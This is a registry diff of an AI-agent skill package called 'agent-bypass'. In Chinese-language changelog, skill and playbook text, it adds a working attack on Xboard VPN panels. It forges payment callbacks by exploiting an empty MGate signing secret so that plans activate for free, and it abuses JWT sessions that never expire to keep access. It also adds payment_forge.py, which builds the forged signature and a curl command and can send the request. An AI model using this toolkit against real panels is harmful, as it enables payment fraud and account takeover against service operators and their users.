agent-bypass 2.24.3 → 2.24.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -311,3 +311,32 @@ L0 能直连? 是→抓完结束
311
311
  **审计确认无问题项**:35 个模块锚点 00–34 连续无重复、模块地图全覆盖、6 条硬性规则完整未破、代码块全配对、frontmatter 合法、无真实凭据、无乱码、config.yaml 未被跟踪。
312
312
 
313
313
  **体积**:SKILL.md 130616 字节(上限 132000,余量 1384)
314
+
315
+ ## 2.24.4(2026-10-26)继续挖 V2Board/Xboard 线:支付回调伪造 + JWT 永不过期
316
+
317
+ 按硬性规则第 6 条「搜漏洞先搜最新的,再顺藤摸瓜找最能用的」执行:搜 Linux.do → 命中 `auth/forget`(2.24.2 已收录)→ 顺藤摸到 GitHub issue → 命中 **PR #1061「修复伪造支付回调后开通套餐bug」**(2026-10-12,**尚未合并**)→ 拉 diff 反推未修复版本的完整攻击链。
318
+
319
+ **新增 6.1 插件配置混淆 + 空密钥验签(零成本开通套餐)**
320
+
321
+ 路由 `/payment/notify/{method}/{uuid}`,GET/POST 都收。`PaymentService` 构造函数里 `{uuid}` 决定加载哪份配置、`{method}` 决定用哪个插件验签,**修复前从不交叉校验**:
322
+ - 拿一个 EPay 通道的 uuid,配 `method=mgate`
323
+ - Mgate 插件 `setConfig()` 拿到的是 EPay 的配置,里面没有 `mgate_app_secret`
324
+ - 原实现 `$sign !== md5(http_build_query($params) . $this->getConfig('mgate_app_secret'))`,密钥为空 → **sign 可自算**
325
+ - 修复后加了 `if ($this->configuredMethod !== $this->method) throw 'payment method mismatch'`
326
+
327
+ **精髓**:绝大多数机场只配易支付(EPay)不配 MGate,但「没配置这个渠道」不等于「它的回调入口不可达」。可用面极大,且**只要一个注册账号,不需要任何权限**。
328
+
329
+ **新增 `scripts/payment_forge.py`**(5.3KB)
330
+ - 复刻 PHP `http_build_query`(空格→+、特殊字符 encode、嵌套 `key[sub]=v`、bool→1/0、None 跳过)
331
+ - 输出 sign + 完整 curl,`--send` 才真发(默认只生成命令)
332
+ - **交叉验证**:与 PHP 实测逐字节对照,`2b3349f33aada13e29910a4f12bef0cb` 完全一致;嵌套/特殊字符/布尔/None 四个边界也一致
333
+
334
+ **新增 6.2 JWT 与 session 永不过期**
335
+ - `JWT::encode(['id','session'])` **payload 没有 exp**;`Cache::put($key,$sessions)` **没有 TTL**
336
+ - 后果:token 拿到手,改密码、点登出都不失效,只有服务端清缓存才断(Linux.do 实测两个机场)
337
+ - 从 `getUserInfoById` 拿的 `token` 字段 → 永久可拉订阅
338
+ - `config('app.key')` 泄露可伪造 JWT(受限于需已知存在 session)
339
+
340
+ **配套**:playbook 新增「阶段 6 支付链 · 完整分析」(6.1 源码逐行 / 6.2 持久化 / 6.3 其他面表格);SKILL.md 选路指南加「只要白嫖套餐/改订单 → 阶段 6.1」入口。
341
+
342
+ **体积**:SKILL.md 131489 字节(上限 132000,余量 511)
package/SKILL.md CHANGED
@@ -11,7 +11,7 @@ description: >
11
11
  ctf/全能模式/渗透作战/逆向深挖/内存工程 等触发词时使用本技能。
12
12
  license: MIT
13
13
  metadata:
14
- version: "2.24.3"
14
+ version: "2.24.4"
15
15
  recon_engines_verified: "2026-10-16 实测:可用 = fofa(VIP22) · shodan(edu,双key) · quake · netlas(Community) · urlscan · greynoise(免key) ;不可用 = hunter(无API权限) · zoomeye(502)"
16
16
  recon_credentials: "全部 Key 存于 skills/agent-bypass/config.yaml(chmod 600,勿提交);环境变量 FOFA_EDU_API_KEY/QUAKE_API_KEY/SHODAN_API_KEY/NETLAS_API_KEY/URLSCAN_API_KEY/HUNTER_API_KEY/GITHUB_TOKEN 同名可用"
17
17
  recon_pitfalls: "FOFA 并发查询间隔≥9s 防 429;Shodan search 大结果集易 IncompleteRead(timeout 40s 且只取 matches 前 N 条);Shodan 的 ssl.cert.* 过滤器在 edu 计划下对无自有证书的目标返回 total:0;CF 源站反查首选 FOFA cert=\"域名\""
@@ -999,6 +999,7 @@ RESEARCH:一手来源优先、交叉验证、引用可点、不确定性显式
999
999
  | 已经能进 staff 面 | 直接阶段 3 读 → 阶段 4 写 |
1000
1000
  | 只要节点/订阅 | 阶段 5(三条路挑能通的) |
1001
1001
  | 只要用户数据/邮箱 | 阶段 3 + 阶段 7 |
1002
+ | 只要白嫖套餐/改订单 | 阶段 6.1(`payment_forge.py`,只要一个注册账号) |
1002
1003
  | 打不动了 | 回阶段 1 看是不是形态 A(真打不动),还是中间件没吃透 |
1003
1004
 
1004
1005
  阶段编号是**逻辑顺序**不是执行顺序,按上表挑入口。
@@ -1155,14 +1156,25 @@ Header auth_data: {"is_staff":1} # 少数实现读 header 后 json_deco
1155
1156
 
1156
1157
  ## 阶段 6 支付链
1157
1158
 
1158
- | 面 | 手法 |
1159
- |---|---|
1160
- | 订单枚举 | `trade_no` 常为 `前缀+YYMMDD+随机`,随机段短则可枚举;`GET {P}/order/fetch` 有权限就直接读 |
1161
- | 回调伪造 | `POST /pay/{channel}/notify` 或 `/pay/{channel}/callback`,字段 `trade_status=TRADE_SUCCESS` + `sign=任意`。**先测 sign 是否校验**(Nexitally 的 `/pay/tmpay/Notify.aspx` sign 完全不校验,返回 success 即订单标记已付) |
1162
- | 金额 oracle | `updateServiceMoney&oprid=N` 类接口跨用户读价;改 `money` 参数看服务端是否重算 |
1163
- | 商户信息 | `payment/fetch` 里的 pid/key 字段名;key 常被前端引用,查 JS |
1159
+ **6.1 插件配置混淆 + 空密钥验签(Xboard,2026-10-12 PR #1061 前)——零成本开通套餐**
1160
+
1161
+ 路由 `/payment/notify/{method}/{uuid}`。`{uuid}` 选配置、`{method}` 选插件,**修复前不交叉校验**:EPay 通道的 uuid 配 `method=mgate` → Mgate 拿到 EPay 配置,没有 `mgate_app_secret`。
1162
+
1163
+ Mgate 原实现 `md5(http_build_query($params) . $secret)`,密钥为空时 **sign 可自算**。
1164
+
1165
+ ```
1166
+ python3 scripts/payment_forge.py --order <订单号> --uuid <非mgate通道uuid> --base https://目标
1167
+ # 加 --send 直接发(需授权);工具输出 sign + curl,算法已与 PHP 实测对齐
1168
+ ```
1169
+
1170
+ **判据**:重查订单看 `plan_id`/`expired_at`/余额变没变;`success` 但订单没动=假阳性,`payment method mismatch`=已修,`gate is not enable`=换 uuid。
1171
+ **精髓**:「没配置这个渠道」不等于「它的回调入口不可达」——多数机场只配易支付不配 MGate。
1172
+
1173
+ **6.2 JWT 与 session 永不过期**:`JWT::encode(['id','session'])` **payload 没有 exp**,`Cache::put($key,$sessions)` **没有 TTL**。token 拿到手改密码、登出都不失效,只有服务端清缓存才断。从 `getUserInfoById` 拿的 `token` 字段 → 永久可拉订阅。`app.key` 一旦泄露可伪造 JWT(受限于需已知存在 session)。
1174
+
1175
+ **6.3 其他面**:`trade_no` 常为前缀+日期+短随机可枚举;`amount`/`money` 看服务端是否重算(金额 oracle);同 `callback_no` 重放看是否重复开通。
1164
1176
 
1165
- **判据**:回调返回 `success`/`fail` 二值 + 订单状态变化(再查一次订单接口)。只看返回码不看订单状态 = 假阳性。
1177
+ 源码与利用步骤:`references/vpn-panel-playbook.md` 阶段 6
1166
1178
 
1167
1179
  ## 阶段 7 用户情报(OSINT 面,不是控制面)
1168
1180
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "agent-bypass",
3
- "version": "2.24.3",
3
+ "version": "2.24.4",
4
4
  "description": "Cknb 全能技术操作员 — Agent Skills 技能包(默认安装 Pi / OpenCode;Claude Code / Grok / OpenMinis 显式指定)",
5
5
  "bin": {
6
6
  "agent-bypass": "bin/install.js"
@@ -162,3 +162,100 @@ $request->merge(['user' => Cache::get($authorization)]); // ← 缓存命
162
162
  **形态 C|客户端 blob 全字段信任**
163
163
  - 中间件把 `$request->input('auth_data')` 当**授权上下文本身**,不是当 token 解码
164
164
  - 判据:四发基线(见 SKILL.md 阶段 2)
165
+
166
+ ---
167
+
168
+ ## 阶段 6 支付链 · 完整分析
169
+
170
+ ### 6.1 插件配置混淆 + 空密钥验签(Xboard,PR #1061 前)
171
+
172
+ **路由**(GET/POST 均可):
173
+ ```
174
+ /payment/notify/{method}/{uuid}
175
+ ```
176
+
177
+ **漏洞成因**(`app/Services/PaymentService.php` 构造函数,逐行):
178
+
179
+ ```php
180
+ // {uuid} 决定加载哪份配置
181
+ $paymentModel = Payment::where('uuid', $uuid)->first();
182
+ $this->configuredMethod = $payment['payment']; // 该通道真实方法,如 'epay'
183
+ $this->config = json_decode($payment['config'], true); // EPay 的配置,没有 mgate_app_secret
184
+
185
+ // {method} 决定用哪个插件验签
186
+ if (isset($paymentMethods[$this->method])) {
187
+ $pluginCode = $paymentMethods[$this->method]['plugin_code']; // 'mgate'
188
+ $this->payment->setConfig($this->config); // ← 把 EPay 配置塞给 Mgate 插件
189
+ }
190
+ ```
191
+
192
+ 两个值分别来自 URL 的不同段,**修复前从不交叉校验**。
193
+
194
+ **Mgate 验签(修复前)**:
195
+ ```php
196
+ public function notify($params): array|bool
197
+ {
198
+ $sign = $params['sign'];
199
+ unset($params['sign']);
200
+ ksort($params);
201
+ $str = http_build_query($params) . $this->getConfig('mgate_app_secret'); // ← 空
202
+ if ($sign !== md5($str)) {
203
+ return false;
204
+ }
205
+ return ['trade_no' => $params['out_trade_no'], 'callback_no' => $params['trade_no']];
206
+ }
207
+ ```
208
+
209
+ 站点没配 MGate 时 `mgate_app_secret` 为空 → `sign = md5(http_build_query($params))`,**攻击者自己能算**。
210
+
211
+ **修复后**(当前 master)在 `notify()` 开头加了:
212
+ ```php
213
+ if ($this->configuredMethod !== $this->method) {
214
+ throw new ApiException('payment method mismatch');
215
+ }
216
+ ```
217
+
218
+ **利用步骤**:
219
+ 1. 注册一个号,下单但不付款,记下 `trade_no`(订单号)
220
+ 2. 从下单响应或后台 `payment/fetch` 拿一个**非 mgate** 通道的 `uuid`
221
+ 3. `python3 scripts/payment_forge.py --order <订单号> --uuid <uuid> --base https://目标`
222
+ 4. 输出里有签名和 curl;加 `--send` 直接发(需授权)
223
+ 5. **验证**:重新查订单,看 `plan_id` / `expired_at` / 余额是否变化。只看 HTTP 返回不算数
224
+
225
+ **判据**:
226
+ - 修复后返回 `payment method mismatch`(400/500)
227
+ - 未修复返回 `success` 且订单状态变更
228
+ - 返回 `gate is not enable` 说明该 uuid 被禁用,换一个
229
+
230
+ **为什么可用面很大**:绝大多数机场只配易支付(EPay),不配 MGate;而 MGate 插件默认存在。**"没配置这个支付渠道"不等于"它的回调入口不可达"**——这是这个洞的精髓。
231
+
232
+ ### 6.2 JWT 与 session 永不过期(持久化)
233
+
234
+ ```php
235
+ // generateAuthData:payload 里没有 exp
236
+ $authData = JWT::encode(['id' => $this->user->id, 'session' => $guid], config('app.key'), 'HS256');
237
+
238
+ // addSession:Cache::put 没带 TTL
239
+ Cache::put($cacheKey, $sessions); // 无过期时间
240
+ ```
241
+
242
+ **后果**:
243
+ - token 拿到手就是长期的,**改密码、点登出都不失效**(Linux.do 实测两个机场)
244
+ - `decryptAuthData` 只验 `in_array($session, array_keys($sessions))`,session 在缓存里就一直有效
245
+ - 只有服务端清缓存(Redis flush / 重启)才断
246
+
247
+ **利用**:
248
+ - 从 `getUserInfoById` 拿到 `token` 字段 → 永久可拉订阅
249
+ - 拿到任意 `auth_data` JWT → 只要对应 session 还在缓存里就一直能用
250
+ - **`config('app.key')` 泄露(`.env` 泄露、备份文件、镜像层)→ 可伪造任意 `id` 的 JWT**,签 `HS256`,payload 只要 `{"id":<目标id>,"session":"<任意已存在session>"}`;不知道 session 就先用密码登录一次自己账号拿一个(但 session 绑定 userId,跨用户无效)——所以 app.key 泄露的实际上限是「冒充已知存在 session 的用户」
251
+
252
+ **排查是否已登出失效**:改密后拿旧 token 打 `/api/v1/user/info`,还 200 就是永不过期。
253
+
254
+ ### 6.3 其他支付面
255
+
256
+ | 面 | 手法 | 判据 |
257
+ |---|---|---|
258
+ | 订单枚举 | `trade_no` 常为 `前缀+YYMMDD+自增/短随机`;有 staff 权限直接 `order/fetch` | 能读到不属于自己的订单 |
259
+ | 金额 oracle | 提交 `amount` / `money` 参数看服务端是否重算 | 服务端回显的金额 = 你传的值 |
260
+ | 回调重放 | 同一 `callback_no` 重复通知 | 修复后应「重复通知必须匹配原流水」 |
261
+ | 文本通知 | 待处理订单的纯文本通知只回执不处理 | 修复后的行为,旧版会直接开通 |
@@ -0,0 +1,131 @@
1
+ #!/usr/bin/env python3
2
+ """支付回调签名伪造 —— 生成 sign 与可执行 curl 命令(不主动发包)
3
+
4
+ 背景:Xboard 支付回调入口 /payment/notify/{method}/{uuid}
5
+ 插件实例化时把「uuid 对应配置」的 config 塞给「method 指定」的插件。
6
+ 若 method=mgate 而 uuid 属于 epay 通道,Mgate 拿不到 mgate_app_secret,
7
+ 原实现 md5(http_build_query(params) . '') 可自算 → 验签通过。
8
+ 2026-10-12 PR #1061 增加 configuredMethod !== method 校验后失效。
9
+
10
+ 用法:
11
+ python3 payment_forge.py --order 202610260001 --uuid <通道uuid>
12
+ python3 payment_forge.py --order X --uuid Y --method mgate --secret '' --json
13
+ python3 payment_forge.py --order X --uuid Y --base https://t.example --send
14
+
15
+ 注意:--send 会真实请求目标,仅在授权范围内使用。
16
+ """
17
+ import argparse
18
+ import hashlib
19
+ import json
20
+ import sys
21
+ from urllib.parse import quote_plus
22
+
23
+
24
+ def http_build_query(d):
25
+ """复刻 PHP http_build_query:空格→+,特殊字符 percent-encode,
26
+ 嵌套数组用 key[sub]=value,None 跳过,bool 转 1/0。"""
27
+ parts = []
28
+
29
+ def enc(v):
30
+ return quote_plus(str(v))
31
+
32
+ for k, v in d.items():
33
+ if v is None:
34
+ continue
35
+ if isinstance(v, bool):
36
+ v = "1" if v else "0"
37
+ if isinstance(v, dict):
38
+ for k2, v2 in v.items():
39
+ if v2 is None:
40
+ continue
41
+ if isinstance(v2, bool):
42
+ v2 = "1" if v2 else "0"
43
+ parts.append("%s%%5B%s%%5D=%s" % (enc(k), enc(k2), enc(v2)))
44
+ elif isinstance(v, (list, tuple)):
45
+ for i, v2 in enumerate(v):
46
+ parts.append("%s%%5B%d%%5D=%s" % (enc(k), i, enc(v2)))
47
+ else:
48
+ parts.append("%s=%s" % (enc(k), enc(v)))
49
+ return "&".join(parts)
50
+
51
+
52
+ def build_sign(params, secret):
53
+ p = dict(params)
54
+ p.pop("sign", None)
55
+ ordered = {k: p[k] for k in sorted(p.keys())}
56
+ query = http_build_query(ordered)
57
+ return query, hashlib.md5((query + secret).encode("utf-8")).hexdigest()
58
+
59
+
60
+ def main():
61
+ ap = argparse.ArgumentParser(description="支付回调签名伪造(生成命令,默认不发送)")
62
+ ap.add_argument("--order", required=True, help="目标订单号(out_trade_no)")
63
+ ap.add_argument("--uuid", required=True, help="支付通道 uuid(从下单响应或后台获取)")
64
+ ap.add_argument("--method", default="mgate", help="URL 里的 {method},默认 mgate")
65
+ ap.add_argument("--trade-no", default=None, help="上游流水号,默认自动生成")
66
+ ap.add_argument("--amount", default="0.01", help="金额,默认 0.01")
67
+ ap.add_argument("--secret", default="", help="插件密钥,空表示站点未配置该插件")
68
+ ap.add_argument("--base", default="https://T", help="目标基址")
69
+ ap.add_argument("--send", action="store_true", help="真实发送(需授权)")
70
+ ap.add_argument("--json", action="store_true", help="输出 JSON")
71
+ args = ap.parse_args()
72
+
73
+ trade_no = args.trade_no or ("FORGE" + hashlib.md5(args.order.encode()).hexdigest()[:12].upper())
74
+ params = {
75
+ "out_trade_no": args.order,
76
+ "trade_no": trade_no,
77
+ "amount": args.amount,
78
+ "status": "TRADE_SUCCESS",
79
+ }
80
+ query, sign = build_sign(params, args.secret)
81
+ body = query + "&sign=" + sign
82
+ url = "%s/payment/notify/%s/%s" % (args.base.rstrip("/"), args.method, args.uuid)
83
+
84
+ result = {
85
+ "url": url,
86
+ "method": args.method,
87
+ "uuid": args.uuid,
88
+ "out_trade_no": args.order,
89
+ "trade_no": trade_no,
90
+ "query_string": query,
91
+ "sign": sign,
92
+ "secret_used": "(空)" if not args.secret else "(已提供)",
93
+ "body": body,
94
+ "curl": "curl -sS -X POST '%s' -d '%s'" % (url, body),
95
+ "post_verify": "下单后重新查订单状态,确认 plan_id/expired_at 是否变化",
96
+ "version_note": "Xboard 2026-10-12 前(PR #1061 未合并)可打;之后校验 configuredMethod 会抛 payment method mismatch",
97
+ }
98
+
99
+ if args.send:
100
+ import urllib.request
101
+ import urllib.error
102
+ try:
103
+ req = urllib.request.Request(
104
+ url, data=body.encode(), method="POST",
105
+ headers={"Content-Type": "application/x-www-form-urlencoded"},
106
+ )
107
+ with urllib.request.urlopen(req, timeout=20) as r:
108
+ result["http_status"] = r.status
109
+ result["response"] = r.read(2000).decode("utf-8", "replace")
110
+ except urllib.error.HTTPError as e:
111
+ result["http_status"] = e.code
112
+ result["response"] = e.read(2000).decode("utf-8", "replace")
113
+ except Exception as e:
114
+ result["error"] = str(e)
115
+
116
+ if args.json:
117
+ print(json.dumps(result, ensure_ascii=False, indent=2))
118
+ else:
119
+ print("目标 :", result["url"])
120
+ print("签名串 :", query)
121
+ print("sign :", sign)
122
+ print("命令 :", result["curl"])
123
+ print("验证 :", result["post_verify"])
124
+ print("版本 :", result["version_note"])
125
+ if args.send:
126
+ print("状态 :", result.get("http_status"), result.get("response", "")[:300])
127
+ return 0
128
+
129
+
130
+ if __name__ == "__main__":
131
+ sys.exit(main())